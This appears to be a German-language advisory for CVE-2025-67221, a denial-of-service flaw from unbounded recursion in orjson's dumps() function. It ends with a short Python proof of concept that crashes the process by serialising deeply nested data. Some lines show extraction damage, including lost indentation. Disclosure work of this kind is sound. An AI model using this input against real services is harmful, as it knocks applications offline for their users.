
Dokumentation und Reproduktionscode für CVE-2025-67221, eine Denial-of-Service-Sicherheitslücke in der dumps()-Funktion von orjson, die durch unkontrollierte Rekursion beim Serialisieren tief verschachtelter JSON-Daten verursacht wird.
| Feld | Wert |
|---|
| CVE ID | CVE-2025-67221 |
| Betroffenes Produkt | orjson |
| Betroffene Versionen | ≤ 3.11.4 |
| Art der Verwundbarkeit | Denial of Service (Unkontrollierte Rekursion) |
| Angriffsvektor | Remote (wenn Angreifer serialisierte Daten kontrolliert) |
Eine Denial-of-Service-Schwachstelle existiert in der Funktion orjson.dumps() in orjson-Versionen 3.11.4 und früher. Die Funktion erzwingt keine Rekursionsgrenze beim Serialisieren von tief verschachtelten JSON-Datenstrukturen. Ein Angreifer, der dazu führen kann, dass eine Anwendung angreiferkontrollierte verschachtelte Daten serialisiert, kann einen Absturz der Serialisierungsroutine auslösen.
orjson.dumps()pysrc/orjson/__init__.pyiGetestet auf
Anwendungen, die orjson zum Serialisieren von nicht vertrauenswürdigen oder angreiferkontrollierten Datenstrukturen verwenden, können anfällig für Denial-of-Service-Angriffe sein.
Code zum lokalen Reproduzieren der Schwachstelle:
import orjson
import sys
import platform
print(f'OS: {platform.platform()}')
print(f'Python version: {sys. version}')
print(f'orjson version: {orjson.__version__}')
nested = []
for i in range(100):
nested = [{"level": i, "next": nested}]
dumped = orjson.dumps(nested)
Der obige Code führt zu einem schönen Core Dump
